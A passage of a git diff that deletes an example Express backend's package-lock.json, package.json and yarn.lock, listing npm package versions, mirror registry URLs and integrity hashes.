-      "resolved": "https://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.1.tgz",
-      "integrity": "sha1-eCDZsWEgzFXKmud5JoCufbptf+I="
-    },
-    "proxy-addr": {
-      "version": "2.0.7",
-      "resolved": "https://registry.nlark.com/proxy-addr/download/proxy-addr-2.0.7.tgz",
-      "integrity": "sha1-8Z/mnOqzEe65S0LnDowgcPm6ECU=",
-      "requires": {
-        "forwarded": "0.2.0",
-        "ipaddr.js": "1.9.1"
-      }
-    },
-    "psl": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npm.taobao.org/psl/download/psl-1.8.0.tgz",
-      "integrity": "sha1-kyb4vPsBOtzABf3/BWrM4CDlHCQ=",
-      "optional": true
-    },
-    "punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.nlark.com/punycode/download/punycode-2.1.1.tgz",
-      "integrity": "sha1-tYsBCsQMIsVldhbI0sLALHv0eew=",
-      "optional": true
-    },
-    "qs": {
-      "version": "6.7.0",
-      "resolved": "https://registry.npm.taobao.org/qs/download/qs-6.7.0.tgz",
-      "integrity": "sha1-QdwaAV49WB8WIXdr4xr7KHapsbw="
-    },
-    "range-parser": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npm.taobao.org/range-parser/download/range-parser-1.2.1.tgz",
-      "integrity": "sha1-PPNwI9GZ4cJNGlW4SADC8+ZGgDE="
-    },
-    "raw-body": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npm.taobao.org/raw-body/download/raw-body-2.4.0.tgz",
-      "integrity": "sha1-oc5vucm8NWylLoklarWQWeE9AzI=",
-      "requires": {
-        "bytes": "3.1.0",
-        "http-errors": "1.7.2",
-        "iconv-lite": "0.4.24",
-        "unpipe": "1.0.0"
-      }
-    },
-    "rc": {
-      "version": "1.2.8",
-      "resolved": "https://registry.npm.taobao.org/rc/download/rc-1.2.8.tgz",
-      "integrity": "sha1-zZJL9SAKB1uDwYjNa54hG3/A0+0=",
-      "requires": {
-        "deep-extend": "^0.6.0",
-        "ini": "~1.3.0",
-        "minimist": "^1.2.0",
-        "strip-json-comments": "~2.0.1"
-      }
-    },
-    "readable-stream": {
-      "version": "2.3.7",
-      "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-      "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-      "requires": {
-        "core-util-is": "~1.0.0",
-        "inherits": "~2.0.3",
-        "isarray": "~1.0.0",
-        "process-nextick-args": "~2.0.0",
-        "safe-buffer": "~5.1.1",
-        "string_decoder": "~1.1.1",
-        "util-deprecate": "~1.0.1"
-      }
-    },
-    "rechoir": {
-      "version": "0.7.0",
-      "resolved": "https://registry.npm.taobao.org/rechoir/download/rechoir-0.7.0.tgz",
-      "integrity": "sha1-MmUP1SwhqyUqpdZbGTEEQcfgOso=",
-      "requires": {
-        "resolve": "^1.9.0"
-      }
-    },
-    "request": {
-      "version": "2.88.2",
-      "resolved": "https://registry.npm.taobao.org/request/download/request-2.88.2.tgz",
-      "integrity": "sha1-1zyRhzHLWofaBH4gcjQUb2ZNErM=",
-      "optional": true,
-      "requires": {
-        "aws-sign2": "~0.7.0",
-        "aws4": "^1.8.0",
-        "caseless": "~0.12.0",
-        "combined-stream": "~1.0.6",
-        "extend": "~3.0.2",
-        "forever-agent": "~0.6.1",
-        "form-data": "~2.3.2",
-        "har-validator": "~5.1.3",
-        "http-signature": "~1.2.0",
-        "is-typedarray": "~1.0.0",
-        "isstream": "~0.1.2",
-        "json-stringify-safe": "~5.0.1",
-        "mime-types": "~2.1.19",
-        "oauth-sign": "~0.9.0",
-        "performance-now": "^2.1.0",
-        "qs": "~6.5.2",
-        "safe-buffer": "^5.1.2",
-        "tough-cookie": "~2.5.0",
-        "tunnel-agent": "^0.6.0",
-        "uuid": "^3.3.2"
-      },
-      "dependencies": {
-        "qs": {
-          "version": "6.5.2",
-          "resolved": "https://registry.npm.taobao.org/qs/download/qs-6.5.2.tgz",
-          "integrity": "sha1-yzroBuh0BERYTvFUzo7pjUA/PjY=",
-          "optional": true
-        }
-      }
-    },
-    "resolve": {
-      "version": "1.20.0",
-      "resolved": "https://registry.npm.taobao.org/resolve/download/resolve-1.20.0.tgz",
-      "integrity": "sha1-YpoBP7P3B1XW8LeTXMHCxTeLGXU=",
-      "requires": {
-        "is-core-module": "^2.2.0",
-        "path-parse": "^1.0.6"
-      }
-    },
-    "resolve-from": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-5.0.0.tgz",
-      "integrity": "sha1-w1IlhD3493bfIcV1V7wIfp39/Gk="
-    },
-    "rimraf": {
-      "version": "2.7.1",
-      "resolved": "https://registry.npm.taobao.org/rimraf/download/rimraf-2.7.1.tgz",
-      "integrity": "sha1-NXl/E6f9rcVmFCwp1PB8ytSD4+w=",
-      "requires": {
-        "glob": "^7.1.3"
-      }
-    },
-    "safe-buffer": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.1.2.tgz",
-      "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0="
-    },
-    "safer-buffer": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npm.taobao.org/safer-buffer/download/safer-buffer-2.1.2.tgz",
-      "integrity": "sha1-RPoWGwGHuVSd2Eu5GAL5vYOFzWo="
-    },
-    "sax": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npm.taobao.org/sax/download/sax-1.2.4.tgz",
-      "integrity": "sha1-KBYjTiN4vdxOU1T6tcqold9xANk="
-    },
-    "semver": {
-      "version": "5.3.0",
-      "resolved": "https://registry.nlark.com/semver/download/semver-5.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.3.0.tgz",
-      "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8="
-    },
-    "send": {
-      "version": "0.17.1",
-      "resolved": "https://registry.nlark.com/send/download/send-0.17.1.tgz?cache=0&sync_timestamp=1618847000507&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsend%2Fdownload%2Fsend-0.17.1.tgz",
-      "integrity": "sha1-wdiwWfeQD3Rm3Uk4vcROEd2zdsg=",
-      "requires": {
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "destroy": "~1.0.4",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "etag": "~1.8.1",
-        "fresh": "0.5.2",
-        "http-errors": "~1.7.2",
-        "mime": "1.6.0",
-        "ms": "2.1.1",
-        "on-finished": "~2.3.0",
-        "range-parser": "~1.2.1",
-        "statuses": "~1.5.0"
-      },
-      "dependencies": {
-        "ms": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.1.1.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.1.tgz",
-          "integrity": "sha1-MKWGTrPrsKZvLr5tcnrwagnYbgo="
-        }
-      }
-    },
-    "serve-static": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npm.taobao.org/serve-static/download/serve-static-1.14.1.tgz",
-      "integrity": "sha1-Zm5jbcTwEPfvKZcKiKZ0MgiYsvk=",
-      "requires": {
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "parseurl": "~1.3.3",
-        "send": "0.17.1"
-      }
-    },
-    "set-blocking": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/set-blocking/download/set-blocking-2.0.0.tgz",
-      "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc="
-    },
-    "setprototypeof": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.1.tgz",
-      "integrity": "sha1-fpWsskqpL1iF4KvvW6ExMw1K5oM="
-    },
-    "signal-exit": {
-      "version": "3.0.3",
-      "resolved": "https://registry.nlark.com/signal-exit/download/signal-exit-3.0.3.tgz",
-      "integrity": "sha1-oUEMLt2PB3sItOJTyOrPyvBXRhw="
-    },
-    "sqlite3": {
-      "version": "5.0.2",
-      "resolved": "https://registry.npm.taobao.org/sqlite3/download/sqlite3-5.0.2.tgz?cache=0&sync_timestamp=1613423344049&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsqlite3%2Fdownload%2Fsqlite3-5.0.2.tgz",
-      "integrity": "sha1-AJJK3MABwXaG4KZkO2y7wtOWUIM=",
-      "requires": {
-        "node-addon-api": "^3.0.0",
-        "node-gyp": "3.x",
-        "node-pre-gyp": "^0.11.0"
-      }
-    },
-    "sshpk": {
-      "version": "1.16.1",
-      "resolved": "https://registry.npm.taobao.org/sshpk/download/sshpk-1.16.1.tgz",
-      "integrity": "sha1-+2YcC+8ps520B2nuOfpwCT1vaHc=",
-      "optional": true,
-      "requires": {
-        "asn1": "~0.2.3",
-        "assert-plus": "^1.0.0",
-        "bcrypt-pbkdf": "^1.0.0",
-        "dashdash": "^1.12.0",
-        "ecc-jsbn": "~0.1.1",
-        "getpass": "^0.1.1",
-        "jsbn": "~0.1.0",
-        "safer-buffer": "^2.0.2",
-        "tweetnacl": "~0.14.0"
-      }
-    },
-    "statuses": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npm.taobao.org/statuses/download/statuses-1.5.0.tgz?cache=0&sync_timestamp=1609654066899&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstatuses%2Fdownload%2Fstatuses-1.5.0.tgz",
-      "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow="
-    },
-    "string-width": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/string-width/download/string-width-1.0.2.tgz?cache=0&sync_timestamp=1618558821529&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstring-width%2Fdownload%2Fstring-width-1.0.2.tgz",
-      "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
-      "requires": {
-        "code-point-at": "^1.0.0",
-        "is-fullwidth-code-point": "^1.0.0",
-        "strip-ansi": "^3.0.0"
-      }
-    },
-    "string_decoder": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-      "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-      "requires": {
-        "safe-buffer": "~5.1.0"
-      }
-    },
-    "strip-ansi": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-3.0.1.tgz?cache=0&sync_timestamp=1618553388833&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-3.0.1.tgz",
-      "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
-      "requires": {
-        "ansi-regex": "^2.0.0"
-      }
-    },
-    "strip-json-comments": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/strip-json-comments/download/strip-json-comments-2.0.1.tgz",
-      "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo="
-    },
-    "tar": {
-      "version": "2.2.2",
-      "resolved": "https://registry.npm.taobao.org/tar/download/tar-2.2.2.tgz?cache=0&sync_timestamp=1610045517836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftar%2Fdownload%2Ftar-2.2.2.tgz",
-      "integrity": "sha1-DKiEhWLHKZuLRG/2pNYM27I+3EA=",
-      "optional": true,
-      "requires": {
-        "block-stream": "*",
-        "fstream": "^1.0.12",
-        "inherits": "2"
-      }
-    },
-    "tarn": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/tarn/download/tarn-3.0.1.tgz",
-      "integrity": "sha1-66wsbbxpd9NNRSbgp4FCADhqiuw="
-    },
-    "tildify": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/tildify/download/tildify-2.0.0.tgz",
-      "integrity": "sha1-8gXzZ01nfOaYtwZ6melJzgO0dUo="
-    },
-    "toidentifier": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/toidentifier/download/toidentifier-1.0.0.tgz",
-      "integrity": "sha1-fhvjRw8ed5SLxD2Uo8j013UrpVM="
-    },
-    "tough-cookie": {
-      "version": "2.5.0",
-      "resolved": "https://registry.npm.taobao.org/tough-cookie/download/tough-cookie-2.5.0.tgz",
-      "integrity": "sha1-zZ+yoKodWhK0c72fuW+j3P9lreI=",
-      "optional": true,
-      "requires": {
-        "psl": "^1.1.28",
-        "punycode": "^2.1.1"
-      }
-    },
-    "tunnel-agent": {
-      "version": "0.6.0",
-      "resolved": "https://registry.npm.taobao.org/tunnel-agent/download/tunnel-agent-0.6.0.tgz",
-      "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
-      "optional": true,
-      "requires": {
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "tweetnacl": {
-      "version": "0.14.5",
-      "resolved": "https://registry.npm.taobao.org/tweetnacl/download/tweetnacl-0.14.5.tgz",
-      "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=",
-      "optional": true
-    },
-    "type-is": {
-      "version": "1.6.18",
-      "resolved": "https://registry.nlark.com/type-is/download/type-is-1.6.18.tgz",
-      "integrity": "sha1-TlUs0F3wlGfcvE73Od6J8s83wTE=",
-      "requires": {
-        "media-typer": "0.3.0",
-        "mime-types": "~2.1.24"
-      }
-    },
-    "unpipe": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/unpipe/download/unpipe-1.0.0.tgz",
-      "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw="
-    },
-    "uri-js": {
-      "version": "4.4.1",
-      "resolved": "https://registry.npm.taobao.org/uri-js/download/uri-js-4.4.1.tgz?cache=0&sync_timestamp=1610237756396&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furi-js%2Fdownload%2Furi-js-4.4.1.tgz",
-      "integrity": "sha1-mxpSWVIlhZ5V9mnZKPiMbFfyp34=",
-      "optional": true,
-      "requires": {
-        "punycode": "^2.1.0"
-      }
-    },
-    "util-deprecate": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/util-deprecate/download/util-deprecate-1.0.2.tgz",
-      "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
-    },
-    "utils-merge": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/utils-merge/download/utils-merge-1.0.1.tgz",
-      "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM="
-    },
-    "uuid": {
-      "version": "3.4.0",
-      "resolved": "https://registry.nlark.com/uuid/download/uuid-3.4.0.tgz",
-      "integrity": "sha1-sj5DWK+oogL+ehAK8fX4g/AgB+4=",
-      "optional": true
-    },
-    "vary": {
-      "version": "1.1.2",
-      "resolved": "https://registry.nlark.com/vary/download/vary-1.1.2.tgz",
-      "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw="
-    },
-    "verror": {
-      "version": "1.10.0",
-      "resolved": "https://registry.npm.taobao.org/verror/download/verror-1.10.0.tgz",
-      "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
-      "optional": true,
-      "requires": {
-        "assert-plus": "^1.0.0",
-        "core-util-is": "1.0.2",
-        "extsprintf": "^1.2.0"
-      }
-    },
-    "which": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npm.taobao.org/which/download/which-1.3.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhich%2Fdownload%2Fwhich-1.3.1.tgz",
-      "integrity": "sha1-pFBD1U9YBTFtqNYvn1CRjT2nCwo=",
-      "optional": true,
-      "requires": {
-        "isexe": "^2.0.0"
-      }
-    },
-    "wide-align": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npm.taobao.org/wide-align/download/wide-align-1.1.3.tgz",
-      "integrity": "sha1-rgdOa9wMFKQx6ATmJFScYzsABFc=",
-      "requires": {
-        "string-width": "^1.0.2 || 2"
-      }
-    },
-    "wrappy": {
-      "version": "1.0.2",
-      "resolved": "https://registry.nlark.com/wrappy/download/wrappy-1.0.2.tgz?cache=0&sync_timestamp=1619133505879&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwrappy%2Fdownload%2Fwrappy-1.0.2.tgz",
-      "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
-    },
-    "yallist": {
-      "version": "3.1.1",
-      "resolved": "https://registry.nlark.com/yallist/download/yallist-3.1.1.tgz",
-      "integrity": "sha1-27fa+b/YusmrRev2ArjLrQ1dCP0="
-    }
-  }
-}
diff --git a/Example11-react-express-hardhat/backend/package.json b/Example11-react-express-hardhat/backend/package.json
deleted file mode 100644
index 11429fd28..000000000
--- a/Example11-react-express-hardhat/backend/package.json
+++ /dev/null
@@ -1,20 +0,0 @@
-{
-  "name": "backend",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "compression": "^1.7.4",
-    "cors": "^2.8.5",
-    "express": "^4.17.1",
-    "helmet": "^4.6.0",
-    "knex": "^0.95.6",
-    "sqlite3": "^5.0.2"
-  }
-}
diff --git a/Example11-react-express-hardhat/backend/yarn.lock b/Example11-react-express-hardhat/backend/yarn.lock
deleted file mode 100644
index 566d3da4c..000000000
--- a/Example11-react-express-hardhat/backend/yarn.lock
+++ /dev/null
@@ -1,1364 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-abbrev@1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/abbrev/-/abbrev-1.1.1.tgz#f8f2c887ad10bf67f634f005b6987fed3179aac8"
-  integrity sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==
-
-accepts@~1.3.5, accepts@~1.3.7:
-  version "1.3.7"
-  resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd"
-  integrity sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==
-  dependencies:
-    mime-types "~2.1.24"
-    negotiator "0.6.2"
-
-ajv@^6.12.3:
-  version "6.12.6"
-  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
-  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
-  dependencies:
-    fast-deep-equal "^3.1.1"
-    fast-json-stable-stringify "^2.0.0"
-    json-schema-traverse "^0.4.1"
-    uri-js "^4.2.2"
-
-ansi-regex@^2.0.0:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-  integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
-
-ansi-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.0.tgz#ed0317c322064f79466c02966bddb605ab37d998"
-  integrity sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=
-
-aproba@^1.0.3:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/aproba/-/aproba-1.2.0.tgz#6802e6264efd18c790a1b0d517f0f2627bf2c94a"
-  integrity sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==
-
-are-we-there-yet@~1.1.2:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz#4b35c2944f062a8bfcda66410760350fe9ddfc21"
-  integrity sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==
-  dependencies:
-    delegates "^1.0.0"
-    readable-stream "^2.0.6"
-
-array-flatten@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
-  integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=
-
-asn1@~0.2.3:
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136"
-  integrity sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==
-  dependencies:
-    safer-buffer "~2.1.0"
-
-assert-plus@1.0.0, assert-plus@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
-  integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
-
-asynckit@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
-  integrity sha1-x57Zf380y48robyXkLzDZkdLS3k=
-
-aws-sign2@~0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8"
-  integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=
-
-aws4@^1.8.0:
-  version "1.11.0"
-  resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.11.0.tgz#d61f46d83b2519250e2784daf5b09479a8b41c59"
-  integrity sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==
-
-balanced-match@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
-  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
-
-bcrypt-pbkdf@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e"
-  integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=
-  dependencies:
-    tweetnacl "^0.14.3"
-
-block-stream@*:
-  version "0.0.9"
-  resolved "https://registry.yarnpkg.com/block-stream/-/block-stream-0.0.9.tgz#13ebfe778a03205cfe03751481ebb4b3300c126a"
-  integrity sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=
-  dependencies:
-    inherits "~2.0.0"
-
-body-parser@1.19.0:
-  version "1.19.0"
-  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
-  integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==
-  dependencies:
-    bytes "3.1.0"
-    content-type "~1.0.4"
-    debug "2.6.9"
-    depd "~1.1.2"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    on-finished "~2.3.0"
-    qs "6.7.0"
-    raw-body "2.4.0"
-    type-is "~1.6.17"
-
-brace-expansion@^1.1.7:
-  version "1.1.11"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
-  dependencies:
-    balanced-match "^1.0.0"
-    concat-map "0.0.1"
-
-bytes@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048"
-  integrity sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=
-
-bytes@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
-  integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
-
-caseless@~0.12.0:
-  version "0.12.0"
-  resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc"
-  integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=
-
-chownr@^1.1.1:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
-  integrity sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==
-
-code-point-at@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77"
-  integrity sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=
-
-colorette@1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.1.tgz#4d0b921325c14faf92633086a536db6e89564b1b"
-  integrity sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==
-
-combined-stream@^1.0.6, combined-stream@~1.0.6:
-  version "1.0.8"
-  resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
-  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
-  dependencies:
-    delayed-stream "~1.0.0"
-
-commander@^7.1.0:
-  version "7.2.0"
-  resolved "https://registry.yarnpkg.com/commander/-/commander-7.2.0.tgz#a36cb57d0b501ce108e4d20559a150a391d97ab7"
-  integrity sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==
-
-compressible@~2.0.16:
-  version "2.0.18"
-  resolved "https://registry.yarnpkg.com/compressible/-/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba"
-  integrity sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==
-  dependencies:
-    mime-db ">= 1.43.0 < 2"
-
-compression@^1.7.4:
-  version "1.7.4"
-  resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.4.tgz#95523eff170ca57c29a0ca41e6fe131f41e5bb8f"
-  integrity sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==
-  dependencies:
-    accepts "~1.3.5"
-    bytes "3.0.0"
-    compressible "~2.0.16"
-    debug "2.6.9"
-    on-headers "~1.0.2"
-    safe-buffer "5.1.2"
-    vary "~1.1.2"
-
-concat-map@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
-
-console-control-strings@^1.0.0, console-control-strings@~1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/console-control-strings/-/console-control-strings-1.1.0.tgz#3d7cf4464db6446ea644bf4b39507f9851008e8e"
-  integrity sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=
-
-content-disposition@0.5.3:
-  version "0.5.3"
-  resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
-  integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==
-  dependencies:
-    safe-buffer "5.1.2"
-
-content-type@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
